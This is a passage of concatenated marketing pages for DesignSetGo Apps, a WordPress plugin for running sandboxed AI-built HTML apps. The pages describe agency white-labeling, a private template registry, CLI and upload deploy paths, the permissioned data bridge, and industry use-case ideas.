 In CI, the same loop becomes a matrix step in GitHub Actions, with secrets per site. There is a starter deploy-action that wraps the CLI. 

Why agencies adopt this

## Smaller unit, steeper margin.

01

### Faster than a custom plugin.

A DSGo app is a static bundle and a manifest. No PHP boilerplate. No plugin scaffold. No update channel to write yourself.

02

### Safer than a snippet.

A bug in a snippet plugin breaks the site. A bug in a DSGo app breaks the app. The sandbox makes "ship to all clients on Friday" an okay idea.

03

### Bills as a recurring service.

"The booking suite" or "the client portal" is now a SKU. One bundle, N clients, monthly fee. You maintain it once, not N times.

White-label

##  Replace our branding with yours. 

 The wp-admin DSGo Apps page, the install screen, the empty states, all of it can carry your agency name and logo instead of ours. Clients see your brand running their site tools, not a third-party plugin you resell. 

01

### Your name, your logo.

Set `plugin_name` and `logo_url` in the white-label settings. Every admin surface picks them up: menu item, install screen, app cards.

02

### Your support links.

Replace our docs and support links with yours. Clients ask you when something needs a question answered, not the open-source forum.

03

### Pre-bundled with your apps.

Ship a single zip that installs the plugin, applies your branding, and pre-installs your portal or booking pack. New client onboarding goes from a setup checklist to one upload.

 White-label is included on the Studio plan. Pro can run multi-site CLI deploy but ships under the DesignSetGo Apps name. [See pricing →](/pricing/) 

Private template registry

##  Your starter library, separate from the public one. 

 Host your own bundles at any HTTPS URL you control. Your team scaffolds new client projects from your library, not the public starter. 

01

### One config per dev machine.

Run `designsetgo apps registry add acme https://acme.example/registry.json --token xxx` once. After that, every `apps init` can pull from your library by alias.

02

### Versioned starters.

Pin a specific template version (`--template booking-widget@1.4.0`) or take the latest. SHA-256 integrity check on every download, so a tampered tarball refuses to install.

03

### Surfaces in Riff too.

Once configured on a site, the in-admin Riff builder lists your private templates alongside the public ones, with a one-click "Copy CLI command" affordance for your devs.

setup + scaffold SH 

designsetgo apps registry add acme https://acme.example/registry.json --token xxx
designsetgo apps init clients/new-site --template booking-widget --registry acme

 You bring the bytes (GitHub Pages, S3, your own WP site, internal CDN); DSGo provides the spec and the CLI plumbing. Available on the Studio plan. [See pricing →](/pricing/) 

Trust model

##  Pick the rendering mode by who wrote the code. 

 Most agency apps are reviewed in-house. Inline mode is the right default: real WP pages, native SEO, root-mount-able. Iframe mode is the right call for client-supplied bundles you did not write yourself. 

Recommended for agencies 

### Inline mode

 App renders as a real WordPress page. Crawlable, indexable, theme-wrappable, SEO-clean. CSP and HTML sanitization run on every request. The bundle is your own code, so the trust model is "trusted plugin you ship." 

`"isolation": "inline"` 

For untrusted drop-ins 

### Iframe mode

 Browser-enforced sandbox with an opaque origin. Use it when a client hands you an HTML bundle from their freelancer or a saved Claude artifact. The bridge still works; the page does not share origin with the rest of the site. 

`"isolation": "iframe"` 

CLI reference

##  Every command, every flag. 

 Including --site, --sites, --from-artifact, and the deploy-action for CI. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See agency pricing](/pricing/) 

zsh · agency workflow 

$ designsetgo apps init booking-pack --astro
$ designsetgo apps login --site client-1.com
$ designsetgo apps login --site client-2.com
$ for s in client-1.com client-2.com; do
>   designsetgo apps deploy --site "$s"
> done
  ✓ deployed to 2 sites
  └ same app id, atomic per site

## WordPress AI plugin

URL: https://designsetgo.dev/wordpress-ai-plugin/

WordPress AI plugin

# The WordPress AI plugin for running AI-built apps on your site. 

Run AI-built apps on your WordPress site: they read your real posts, pages, and users, and run sandboxed so a broken app can't break your site. DesignSetGo Apps is the WordPress AI plugin built for that job, not for drafting posts or running a chatbot widget. Deploy apps built in Claude, ChatGPT, Cursor, Lovable, v0, or Bolt by uploading an HTML file in wp-admin or from the CLI. They reach your data through a permissioned bridge, a permission-checked connection to your posts, pages, and users. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See the 60-second quickstart](/quickstart/) 

Free covers one active app and the read-only bridge. [See everything Pro unlocks →](/pricing/) 

claude.app → /apps/your-tool 

* **1.** Build your app in any AI coder.
* **2.** Save the HTML or run `designsetgo apps deploy`.
* **3.** Install in wp-admin or push from CLI.
* **4.** Live at `yoursite.com/apps/your-slug/`.

What this plugin is

## The runtime that the rest of the WordPress AI stack assumes. 

Most WordPress plugins with "AI" in the name are about generating posts, drafting product descriptions, or wiring up a chatbot. DesignSetGo Apps does a different job: it runs the apps the AI itself wrote. Calculators, dashboards, configurators, member portals, intake wizards, anything that ships as an HTML+JS bundle. 

Sandbox 

### Apps run in an iframe with a strict CSP.

If the AI-generated code breaks, your WordPress site does not. Theme keeps rendering, wp-admin keeps working, other apps keep serving.

Bridge 

### A typed bridge to posts, users, AI, storage.

Apps call `dsgo.posts.list()`, `dsgo.user.current()`, `dsgo.ai.prompt()`, `dsgo.storage.user.set()`. No REST plumbing, no auth tokens in the bundle.

Install dialog 

### Every permission is disclosed before install.

"This app wants to read posts, write user storage, fetch from openai.com." Generated from the manifest, not from a marketing claim.

Who uses it

## Three audiences, one runtime. 

[ Site owners "I have an HTML file from Claude." Upload it in wp-admin. Five minutes, no terminal, no developer. The plugin handles the sandbox and the URL. See the site-owner path → ](/site-owners/) [ Developers "I want Claude Code or Cursor to deploy." Use the CLI. designsetgo apps init, build with the AI of your choice, designsetgo apps deploy --build. Four commands. See the developer path → ](/developers/) [ Agencies "I ship one bundle to 30 client sites." Multi-site deploy from one command. White-label the install dialog. The same app on every client without forking the bundle. See the agency path → ](/agencies/) 

Why this plugin, not the others

## Most "WordPress AI" plugins write content. This one runs apps. 

The WordPress AI plugin landscape splits into roughly three groups. Picking the right one starts with naming what you actually want the AI to do. 

| If you want                                                        | Reach for                                            | DesignSetGo Apps? |
| ------------------------------------------------------------------ | ---------------------------------------------------- | ----------------- |
| AI to draft posts, product descriptions, image alt text            | AI content plugins (RankMath Content AI, Jetpack AI) | No                |
| A chatbot widget in the corner of every page                       | Chatbot SaaS plugins (Tidio, Drift, ManyChat)        | No                |
| To run an AI-generated calculator, dashboard, or tool on your site | This plugin                                          | Yes               |
| To let AI agents and other apps call into your site's data         | This plugin (publishes Abilities API entries)        | Yes               |

What it works with

## Any AI builder that emits HTML. 

The bundle is the contract. If the tool can save a folder of HTML+JS+CSS (or a single self-contained `.html` file), DesignSetGo Apps can run it. 

### Claude (chat)

Save the Artifact as HTML. Upload in wp-admin.

### Claude Code

Run `designsetgo apps init`, then ask Claude to build. Deploy with the CLI.

### Cursor & Codex

Same CLI flow. Open the scaffolded folder in the editor.

### ChatGPT canvas

Export the canvas as HTML, upload in wp-admin.

### Lovable, v0, Bolt

Export the project, drop the bundle into the importer.

### Riff (in wp-admin)

Build without leaving WordPress. Pro feature. [See Riff →](/riff/)

[Full step-by-step for the upload and CLI paths →](/add-ai-app-to-wordpress/) 

Common questions

## What people ask first, answered honestly. 

### Does this plugin send my data to OpenAI or Anthropic?

No. The plugin itself never calls an AI provider. When an app uses `dsgo.ai.prompt()` (Pro), the call goes through the WordPress Connectors API using credentials the site admin configured. DesignSetGo never sees the key, never proxies the call, never reads the response. [Why we do not hold your API keys →](/blog/why-we-dont-hold-your-api-keys/)

### Is it safe to run AI-generated code on my site?

The sandbox is the answer. Apps run in an iframe with a strict Content Security Policy, no access to WordPress globals, and a bridge that checks permissions on every call. If the AI wrote something broken, your site keeps working. [Why we run apps in a sandbox →](/blog/why-we-run-apps-in-a-sandbox/)

### Do I need to be a developer?

No if you have an HTML file (the wp-admin upload path). Yes if you want the CLI workflow with Claude Code or Cursor. [Full walkthrough of both paths →](/add-ai-app-to-wordpress/)

### What do I get free vs Pro?

Free covers one active app, the read-only bridge, and HTML upload in wp-admin, no card required. Pro adds CLI deploy, `dsgo.ai.prompt`, abilities publish, scheduled jobs, and multi-site deploy. [See the full plan comparison →](/pricing/)

## Install the WordPress AI plugin your AI builder was missing. 

Free plugin, one active app, no card required. Compare plans for the full Pro feature list. 

[Install free](/downloads/designsetgo-apps.zip) [Compare plans](/pricing/) [How it works](/how-it-works/)

## Add an AI app to WordPress

URL: https://designsetgo.dev/add-ai-app-to-wordpress/

Add an AI app to WordPress

# Add an AI app to WordPress in one command (or one upload). 

You built something in Claude, ChatGPT, Cursor, Lovable, v0, or Bolt. Run AI-built apps on your WordPress site: they read your real posts, pages, and users, and run sandboxed so a broken app can't break your site. Two paths get it there: upload the HTML in wp-admin (5 minutes, no terminal) or run `designsetgo apps deploy` from your project folder (4 commands). The app lands at `yoursite.com/apps/your-slug/`, gated by a permissioned bridge, a permission-checked connection to your posts, pages, and users. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See the 60-second quickstart](/quickstart/) 

Free covers Path A (upload) with one active app. [See everything Pro unlocks →](/pricing/) 

two paths, same result 

Path A, no code

Save the AI app as HTML → upload in wp-admin → live URL.

Path B, CLI

`init` → build with AI → `login` → `deploy --build`.

Path A

## The no-code path: drop an HTML file in wp-admin. 

Best for: a Claude Artifact, a ChatGPT canvas export, a Lovable or v0 build saved as one HTML file, or any tool a developer handed you as a `.html`. Five minutes, no terminal, no developer. 

1 Install 

### Install the plugin.

In wp-admin: **Plugins → Add new**, search "DesignSetGo Apps," install, activate. Free, no card.

2 Upload 

### Upload your AI app.

Open **DesignSetGo Apps → Add new**. Drop your HTML file in. The importer auto-fills the name and slug from the file.

3 Live 

### App lives at /apps/{slug}.

Click the install confirmation. Visit the URL. The app runs in a sandboxed iframe with whatever permissions you approved.

[Full no-code tutorial →](/blog/the-five-minute-i-have-an-html-file-path/) 

Path B

## The CLI path: deploy from Claude Code or Cursor in 4 commands. 

Best for: developers using Claude Code, Cursor, Codex, or any AI coder that works on a project folder. The CLI uses WordPress Application Passwords, validates the manifest, builds the bundle, and uploads it. 

```
# 1. Scaffold the project
npx @designsetgo/cli init lead-calculator
cd lead-calculator

# 2. Hand the folder to Claude Code (or Cursor)
#    Ask it to build the app you want. The AI edits HTML/JS/CSS
#    and updates dsgo-app.json with the permissions the app needs.

# 3. Log in to the target WordPress site
npx designsetgo apps login https://yoursite.com

# 4. Deploy
npx designsetgo apps deploy --build
# → https://yoursite.com/apps/lead-calculator/
```

[Full CLI tutorial with Claude Code →](/blog/how-to-deploy-a-claude-code-project-to-wordpress/) 

Which path is right

## In one question: do you have a terminal open? 

| Your situation                                        | Reach for                  | Time                                         |
| ----------------------------------------------------- | -------------------------- | -------------------------------------------- |
| You have a Claude Artifact saved as HTML              | Path A (upload)            | \~5 minutes                                  |
| You have a ChatGPT canvas export                      | Path A (upload)            | \~5 minutes                                  |
| You have a Lovable / v0 / Bolt export                 | Path A (upload as zip)     | \~5 minutes                                  |
| You are working in Claude Code / Cursor / Codex       | Path B (CLI)               | \~5 minutes (first time, \~30 seconds after) |
| You want to ship one app to 30 client sites           | Path B with \--sites (Pro) | \~1 minute for all 30                        |
| You want the AI itself to deploy from inside wp-admin | [Riff](/riff/) (Pro)       | \~2 minutes, no terminal at all              |

[Still comparing WordPress AI plugins? See how this differs from content-AI and chatbot plugins →](/wordpress-ai-plugin/) 

What the app can do once it is on WordPress

## Read your real WordPress data through the bridge. 

The app does not call `/wp-json` directly. It does not ship an API token. It calls `dsgo.*` methods that the runtime translates into permissioned WordPress calls. 

Posts & CPTs 

### `dsgo.posts.list()`

Read any custom post type the site registered with `show_in_rest: true`. WooCommerce products, LearnDash courses, IDX listings, ACF types. [Reading CPTs →](/blog/the-week-designsetgo-started-reading-your-cpts/)

User identity 

### `dsgo.user.current()`

Know who is looking at the page. Gate UI with `dsgo.user.can()`. Persist per-user state with `dsgo.storage.user`.

AI (Pro) 

### `dsgo.ai.prompt()`

Call the LLM through the site's WordPress Connector. The site admin configures the key once. DesignSetGo never sees it.

Abilities 

### `dsgo.abilities.invoke()`

Call into other apps, plugins, or AI agents through the WordPress Abilities API. Apps can also publish abilities for the host site's AI to call.

Common questions

## Frequently asked, answered honestly. 

### How do I put an AI-built app on my WordPress site without a developer?

Use Path A above. Install the free DesignSetGo Apps plugin, open **DesignSetGo Apps → Add new** in wp-admin, drop your HTML file in. The plugin handles sandboxing, the URL, and the install dialog. Five minutes start to finish.

### Can I deploy a Lovable, v0, or Bolt app directly to WordPress?

Yes. Export the project as a zip bundle (or a single HTML file if the AI emitted one), upload it through the importer. Multi-file bundles use the `.zip` upload path; single files use the `.html` path. The bundle must include `index.html` at the root.

### Do I need to write a manifest?

The HTML upload path generates the manifest for you from the file. The CLI path scaffolds a starter manifest with `designsetgo apps init`. You only hand-edit when you want to add permissions (read posts, write user storage, call `dsgo.ai.prompt`).

### Is the AI-generated code safe to run on my site?

Yes. Apps run in a sandboxed iframe, so if the AI's code breaks, your site does not. [Full answer on the sandbox →](/wordpress-ai-plugin/)

### Where is my AI provider key stored?

In WordPress, not in DesignSetGo, configured once at **Settings → Connectors** (WP 7.0). [Full answer on key custody →](/wordpress-ai-plugin/)

## Add your first AI app to WordPress in the next ten minutes. 

Install the free plugin, drop an HTML file in (or run `designsetgo apps init`), get a sandboxed app at `yoursite.com/apps/your-slug/`. No second host, no second login. 

[Install free](/downloads/designsetgo-apps.zip) [Quickstart](/quickstart/) [Compare plans](/pricing/)

## Use cases

URL: https://designsetgo.dev/use-cases/

Use cases

# Apps you'd build for the kind of site you already run. 

 Run AI-built apps on your WordPress site: they read your real posts, pages, and users, and run sandboxed so a broken app can't break your site. 

Pick your vertical. Each guide has three apps you could ship this week, with a one-line prompt you can paste into Claude, ChatGPT, Lovable, v0, or Cursor. 

**Free** hosts 1 active app via wp-admin upload. [Pro ($149.99/yr)](/pricing/) lifts the cap and adds CLI deploy from your editor. 

[ ![](/use-cases/real-estate.jpg) Real estate Lead capture and listing tools that read your live property data. 3 apps → ](/use-cases/real-estate/)[ ![](/use-cases/food.jpg) Food & recipes Tools that turn your recipes into a daily-use destination. 3 apps → ](/use-cases/food/)[ ![](/use-cases/fitness.jpg) Fitness & coaching Booking, programming, and member tools the SaaS plugins charge $40/mo for. 3 apps → ](/use-cases/fitness/)[ ![](/use-cases/finance.jpg) Finance & accounting Client portals and intake flows that look like your firm, not a Fiverr widget. 3 apps → ](/use-cases/finance/)[ ![](/use-cases/education.jpg) Education & courses Student dashboards and submission flows without paying for LearnDash. 3 apps → ](/use-cases/education/)[ ![](/use-cases/local-services.jpg) Local services & appointments Booking, intake, and service-area tools on your own domain. 3 apps → ](/use-cases/local-services/)[ ![](/use-cases/woocommerce.jpg) WooCommerce shops Catalog-aware tools that lift conversion without a custom plugin. 3 apps → ](/use-cases/woocommerce/) 

Dedicated guides

## Start with the job your visitor already has. 

Narrower than the vertical list above. These target the exact moment when someone has an AI-made thing and wants it live on their WordPress site. 

[ Claude Artifact to WordPress Export the artifact. Upload it. Publish it. For the person staring at a working Claude artifact and wondering where it should live. Read the guide → ](/use-cases/claude-artifact-to-wordpress/) [ AI calculator to WordPress Turn a generated calculator into a lead tool. For service pages, product finders, quizzes, estimates, and ROI tools. Read the guide → ](/use-cases/ai-calculator-to-wordpress/) 

## Pick one. Build it. 

Install the free plugin, paste a prompt into Claude or ChatGPT, and drop the result in wp-admin. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See pricing](/pricing/)

## AI Calculator to WordPress

URL: https://designsetgo.dev/use-cases/ai-calculator-to-wordpress/

AI calculator to WordPress

# Build an AI calculator for WordPress. 

Ask Claude, ChatGPT, Lovable, or v0 for a custom calculator or quiz that helps visitors make a decision. DesignSetGo Apps turns it into a sandboxed WordPress app you can publish as a page, embed in a post, and connect to real site content when you are ready. 

[Install free plugin](/downloads/designsetgo-apps.zip) [Upload a Claude artifact](/use-cases/claude-artifact-to-wordpress/) 

Ideal for service pricing, mortgage estimates, product finders, ROI tools, quizzes, and intake flows. 

/apps/estimate · embedded in WordPress 

Estimate builder

## What should your project cost?

Budget **$4,800** 

Timeline **4 weeks** 

Fit **Strong** 

Recommended next step **Book a 20-minute consult** 

Why calculators convert

## They answer the question visitors came with. 

Most landing pages ask people to trust your copy. A calculator gives them a personalized answer first, then makes the next action feel obvious. 

01

### Give value before the form.

Visitors get an estimate, recommendation, score, shortlist, or plan. The lead capture happens after they see something useful.

02

### Match the offer to the answer.

Small budget? Send them to a guide. Strong fit? Show the consultation CTA. Product match? Link straight to the right category or WooCommerce item.

03

### Keep it on your site.

No off-domain embed, no third-party logo, no generic builder chrome. The app lives inside WordPress, under your navigation and your brand.

The build loop

## From idea to live lead tool in one sitting. 

Start with a free uploaded app. When the calculator needs WordPress content, logged-in state, storage, email, or WooCommerce actions, add the bridge surface. 

1 Prompt 

### Prompt the tool.

Ask Claude, ChatGPT, Lovable, or v0 for the inputs, result logic, CTA states, and mobile layout. Keep the first version single-file so you can upload it quickly.

2 Install 

### Install on WordPress.

Upload the generated HTML or static zip in DSGo Apps. It gets a URL and can be embedded in the exact post or page where the traffic already lands.

3 Upgrade 

### Upgrade when it works.

Add site data, per-user saved state, email delivery, media uploads, or WooCommerce add-to-cart later. The same runtime supports the simple app and the serious one.

High-intent examples

## Pick the calculator that maps to your buyer. 

Narrow enough for an AI tool to build quickly, valuable enough to earn a spot in your navigation or a paid campaign. 

Services 

### Project cost estimator.

Visitors choose scope, timeline, budget, and urgency. The result recommends a package and pushes qualified leads toward a consult.

`"Build a project cost estimator for my agency"` 

WooCommerce 

### Product finder quiz.

Ask five questions, recommend three products, then add the right item to the cart when the app uses the commerce bridge.

`"Build a product finder for my catalog"` 

Content sites 

### Personalized resource picker.

Recipe blogs, course sites, fitness coaches, and finance publishers can turn old posts into a guided recommendation engine.

`"Build a resource picker using my categories"` 

Connection path

## Static first. Site-aware when the signal is there. 

Do not overbuild the first version. Ship the useful calculator, see if visitors use it, then connect it to WordPress data when that connection will improve the answer. 

Free upload 

### Best for the first conversion test.

A self-contained HTML app runs with no build step and no external hosting. Perfect for a landing-page calculator, quiz, or lead magnet that does not need private site data. 

`wp-admin → DSGo Apps → Upload` 

Bridge upgrade 

### Best when the app needs WordPress.

Read posts, pages, products, the current user, per-user storage, email, uploads, and WooCommerce actions through explicit permissions. The app never gets raw WordPress credentials. 

`dsgo.posts.list() · dsgo.commerce.cart.add()` 

Prompt

### A strong starter prompt for the first version.

"Build a responsive single-file HTML calculator for \[buyer\] who needs \[decision\]. Ask no more than five questions. Show a useful result before asking for contact info. Include three result states, a clear CTA for each state, accessible form labels, and no external packages." 

## Ship the calculator while the idea is still warm. 

Install the free plugin, upload the AI-built HTML, and put it on the WordPress page where buyers already land. 

[Install free](/downloads/designsetgo-apps.zip) [See examples](/examples/) [Compare plans](/pricing/)

## Astro + DesignSetGo Apps

URL: https://designsetgo.dev/use-cases/astro/

Astro + DesignSetGo Apps

# Build in Astro. Get the vertical packs free. 

If you are already building your WordPress frontend in Astro (in your editor or vibe-coding with Claude Code, Cursor, or Codex), `@designsetgo/astro` drops in 14 production-ready WooCommerce components alongside the bridge integration. Your Astro config gains one plugin line and your project gains a full component library; no extra SaaS, no separate hosting, no duplicate data layer. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See live examples](/examples/) 

This very site is an Astro bundle deployed via the DSGo CLI, running on WordPress in inline mode. The support page uses the commerce bridge live. 

astro.config.mjs JS 

import { defineConfig } from 'astro/config';
import dsgoAstro from '@designsetgo/astro/integration';

export default defineConfig({
  integrations: [
    dsgoAstro({ manifest: './dsgo-app.json' }),
  ],
});

Component import

import { SmartCartUpsell }
  from '@designsetgo/astro/woo';

The install path

## One package. Bridge plus components. 

Install the npm package, add the Astro integration, and the WooCommerce component library is available in every page of your project. The bridge connects automatically when the DSGo plugin is active on the WordPress site. 

1 Install 

### Install the package.

Run `npm install @designsetgo/astro` in your Astro project. No extra WordPress plugin install, no API key setup: the package talks to the DSGo bridge you already have running. 

2 Configure 

### Add the integration.

Add two lines to `astro.config.mjs`: import `dsgoAstro` from `@designsetgo/astro/integration` and pass it your `dsgo-app.json` path. The integration merges required bridge permissions automatically. 

3 Import 

### Import and use.

Import a component like `SmartCartUpsell` directly from the pack. It reads your live WooCommerce catalog at runtime through the bridge; no build-time data fetching, no static re-generates on catalog changes. 

WooCommerce vertical pack, v0.1.0

## 14 components that ship ready to use. 

Every component reads your live product data through the DSGo bridge. No hardcoded IDs, no build-time catalog snapshots. When your store changes, the component reflects it on the next page load. 

Cart and checkout 

### Cart, upsell, and post-purchase components.

SmartCartUpsell, AbandonedCartRecovery, CheckoutFields, PostPurchaseSurvey, PreorderSignup, SubscriptionFaq, WholesaleRequest. Each one hooks into the DSGo commerce bridge so cart state is always live WooCommerce data. 

`import { SmartCartUpsell } from '@designsetgo/astro/woo'` 

Discovery and loyalty 

### Product, loyalty, and store components.

BundleBuilder, FitRecommender, GiftcardBalance, LoyaltyDashboard, PickupScheduler, ProductQa, StoreLocator. All seven read your live catalog and customer data through the bridge at runtime. 

`import { BundleBuilder } from '@designsetgo/astro/woo'` 

Proof by example

## This site is built exactly this way. 

The DesignSetGo marketing site is an Astro project deployed to WordPress as a DSGo App via the CLI. The [support page](/support/) uses the commerce bridge live: it calls `dsgo.commerce.products.get()` to read a real WooCommerce product on this site, lets you pick an amount, and hands off to the hosted WooCommerce checkout. No redirect to a third-party payment page, no separate hosting for the checkout flow. 

 Live

### The support page reads a live WooCommerce product.

Open [/support](/support/) and watch the amount tiles load from `dsgo.commerce.products.get(54)`. The "Donate $25" button calls `dsgo.commerce.cart.addItem` and `dsgo.commerce.checkout.openHostedPage` against this WordPress site. Same bridge any Astro component in the pack uses. 

Two authoring paths

## Bring your own Astro project or start fresh. 

Existing project 

### Add the integration to your current Astro site.

If you already have an Astro frontend talking to WordPress, install the package, add the config plugin, and start importing components. The bridge client is tree-shaken: only the bridge methods your components call end up in the bundle. 

`npm install @designsetgo/astro` 

New project 

### Scaffold an Astro starter wired for WordPress.

The DSGo CLI includes an Astro starter template with bridge integration and a sample WooCommerce component already in place. Run it, connect to your WordPress install, and let Claude Code, Cursor, or Codex build the rest from a working base. 

`designsetgo apps init --astro` 

## Your Astro frontend, now with 14 WooCommerce components. 

Install the plugin, add the npm package, and your next Astro page can read the live product catalog, manage a cart, and hand off to checkout. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See examples](/examples/) [Compare plans](/pricing/)

## Claude Artifact to WordPress

URL: https://designsetgo.dev/use-cases/claude-artifact-to-wordpress/

Claude Artifact to WordPress

# Export your Claude Artifact. Put it on WordPress. 

Claude can make a polished calculator, quiz, dashboard, intake form, or landing-page widget in minutes. DesignSetGo Apps gives that artifact the missing last step: upload the HTML to wp-admin, approve the permissions, and publish it on your own WordPress site. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See the site-owner path](/site-owners/) 

Free hosts 1 active uploaded app. Pro lifts the cap and adds CLI deploy from Claude Code, Cursor, or Codex. 

artifact.html → /apps/lead-calculator 

artifact.html

## Budget Planner

Monthly plan ready

WordPress

## /apps/budget

* Sandboxed iframe
* One-click delete
* Optional site data bridge

The clean path

## Stop asking, "where do I paste this code?" 

Claude gives you the app. DesignSetGo Apps gives it a WordPress-native home; without editing your theme, deploying to another host, or pasting scripts into a Custom HTML block. 

1 Make 

### Make it in Claude.

Ask for a single-file HTML app: a calculator, product finder, onboarding quiz, or client intake flow. Keep it self-contained for the easiest upload.

2 Upload 

### Upload in wp-admin.

Open DSGo Apps, upload the saved HTML or zip, name the app, and review what it asks to access. Static artifacts can run with no site-data permission at all.

3 Publish 

### Publish it anywhere.

Give it a URL at `/apps/{slug}`, embed it in a post, or use it as a landing-page tool. If the artifact breaks, the rest of WordPress keeps working.

What to build first

## Artifacts that are worth putting on your domain. 

The best first apps are small, useful, and tied to a visitor decision. They turn a page from "read this" into "try this." 

[ Lead capture Calculators that end with a next step. Budget planners, mortgage estimates, pricing calculators, ROI tools. Let visitors get a useful answer, then offer the call, checkout, or download. "Build a cost calculator for my service page" ](/use-cases/ai-calculator-to-wordpress/) 

Product discovery 

### Quizzes and finders.

Gift finder, plan chooser, recipe picker, class matcher. Ask a few questions and route people toward the right post, product, or offer.

`"Build a 5-question product finder"` 

Client work 

### Intake forms that feel custom.

Replace a generic form with a guided flow that matches your niche. Keep the app on your domain and avoid sending buyers to another service.

`"Build a project intake wizard"` 

Why not paste it directly?

## A Claude artifact is still code. Treat it like code. 

The fast path should not be the risky path. DesignSetGo Apps runs generated artifacts in an isolated frame and gives you a simple uninstall switch. 

| Workaround        | What happens                                           | DSGo Apps path                              |
| ----------------- | ------------------------------------------------------ | ------------------------------------------- |
| Custom HTML block | Script runs in the page, mixed with theme markup.      | Runs in a sandboxed app frame.              |
| Theme file edit   | Hard to undo, easy to break during updates.            | Installed and deleted from wp-admin.        |
| Separate hosting  | The artifact lives off-domain and away from WordPress. | Published on your WordPress site.           |
| Generic plugin    | You fit your idea into someone else's builder.         | Claude builds the exact tool you asked for. |

Prompt

### Start with one self-contained HTML file.

Ask Claude: _"Build this as a self-contained HTML artifact with inline CSS and JavaScript. Do not require a build step, external packages, or a backend. Make it responsive and accessible."_ That shape is the easiest to upload on the free plugin. When you need WordPress data, upgrade the app later with the DSGo bridge. 

## Turn one saved artifact into a real page. 

Install the free plugin, upload your Claude HTML, and publish it at a WordPress URL in minutes. No card, no expiry, 1 active app. 

[Install free](/downloads/designsetgo-apps.zip) [Compare plans](/pricing/) [See security model](/security/)

## Real estate apps

URL: https://designsetgo.dev/use-cases/real-estate/

Real estate

# Lead capture and listing tools that read your live property data.

Your listings are already WordPress posts. The signup flow, the comparison tool, the saved-search dashboard, those belong on your domain, reading your data, not on a third-party Vercel deploy that has to re-import everything.

[Install free plugin](/downloads/designsetgo-apps.zip) [All verticals →](/use-cases/) 

![A hand holding house keys in the doorway of a bright home.](/use-cases/real-estate.jpg) 

Three you could build

## Pick one, paste the prompt below into Claude. 

01

### Open-house RSVP

Visitors sign up for tours; you get the email; their account remembers every house they have booked. Replaces a $30/mo Calendly link.

02

### Saved-search dashboard

Logged-in visitors set price, beds, area filters once; new listings matching those filters appear in their account automatically (live `property` CPT).

03

### Comparable sales widget

Drops into any listing post; pulls 3 similar properties based on price/beds/area. New listings show up without a redeploy.

Paste this into Claude.ai, ChatGPT, or your editor →

“An open-house RSVP. Save each signup to the visitor's WP account, email me the lead.”

The pattern

## Same loop for every vertical. 

Describe the app. Drop it into wp-admin (or scaffold + deploy with the CLI). Approve the permissions. Embed it where you want it. 

## Build the first one. 

Install free, paste the prompt above into Claude, drop the result in wp-admin. Five minutes, no card. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See pricing](/pricing/) 

Other verticals

[Food & recipes](/use-cases/food/)[Fitness & coaching](/use-cases/fitness/)[Finance & accounting](/use-cases/finance/)[Education & courses](/use-cases/education/)[Local services & appointments](/use-cases/local-services/)[WooCommerce shops](/use-cases/woocommerce/)

## Food & recipes apps

URL: https://designsetgo.dev/use-cases/food/

Food & recipes

# Tools that turn your recipes into a daily-use destination.

Your recipes are already in WordPress. A meal planner, a favorites box, a pantry filter, those are the tools that bring readers back week after week, and they should read your real posts, not a duplicate database.

[Install free plugin](/downloads/designsetgo-apps.zip) [All verticals →](/use-cases/) 

![A kitchen counter arranged with cooking ingredients and utensils.](/use-cases/food.jpg) 

Three you could build

## Pick one, paste the prompt below into Claude. 

01

### Weekly meal planner

Drag your recipes into a 7-day grid. Generates a shopping list. Per-user storage means visitors come back to their own plan.

02

### Recipe favorites box

Visitors save recipes to a personal cookbook tied to their WP account. Their list survives across visits.

03

### Pantry filter

"What can I make tonight?" Visitors pick what is in the cupboard; the app surfaces matching recipes from your CPT.

Paste this into Claude.ai, ChatGPT, or your editor →

“A weekly meal planner. Visitors drag recipes into a 7-day grid, get a shopping list, and resume next week.”

The pattern

## Same loop for every vertical. 

Describe the app. Drop it into wp-admin (or scaffold + deploy with the CLI). Approve the permissions. Embed it where you want it. 

## Build the first one. 

Install free, paste the prompt above into Claude, drop the result in wp-admin. Five minutes, no card. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See pricing](/pricing/) 

Other verticals

[Real estate](/use-cases/real-estate/)[Fitness & coaching](/use-cases/fitness/)[Finance & accounting](/use-cases/finance/)[Education & courses](/use-cases/education/)[Local services & appointments](/use-cases/local-services/)[WooCommerce shops](/use-cases/woocommerce/)

## Fitness & coaching apps

URL: https://designsetgo.dev/use-cases/fitness/

Fitness & coaching

# Booking, programming, and member tools the SaaS plugins charge $40/mo for.

Coaches and gyms cobble together Calendly, MindBody, and a member-area plugin. None of them know about each other and none of them read your real content. One small DSGo app does the job, gated by WP login, with the trainer's real classes pulled from a CPT.

[Install free plugin](/downloads/designsetgo-apps.zip) [All verticals →](/use-cases/) 

![A coach guiding a gym member through a strength movement.](/use-cases/fitness.jpg) 

Three you could build

## Pick one, paste the prompt below into Claude. 

01

### Class booking widget

Reads your `class` CPT, books visitors in via per-user storage, emails you each booking. Members see their next 3 sessions in their account.

02

### Workout program generator

Reads your `workout` library and builds a 4-week plan from goals + equipment. Saves the plan per member.

03

### Habit / streak tracker

Daily check-in, per-user storage, gentle gamification. Members see their streak; you see aggregate adherence as posts.

Paste this into Claude.ai, ChatGPT, or your editor →

“A class booking widget that reads my upcoming sessions. Email me each booking, show the member their next 3 sessions.”

The pattern

## Same loop for every vertical. 

Describe the app. Drop it into wp-admin (or scaffold + deploy with the CLI). Approve the permissions. Embed it where you want it. 

## Build the first one. 

Install free, paste the prompt above into Claude, drop the result in wp-admin. Five minutes, no card. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See pricing](/pricing/) 

Other verticals

[Real estate](/use-cases/real-estate/)[Food & recipes](/use-cases/food/)[Finance & accounting](/use-cases/finance/)[Education & courses](/use-cases/education/)[Local services & appointments](/use-cases/local-services/)[WooCommerce shops](/use-cases/woocommerce/)

## Finance & accounting apps

URL: https://designsetgo.dev/use-cases/finance/

Finance & accounting

# Client portals and intake flows that look like your firm, not a Fiverr widget.

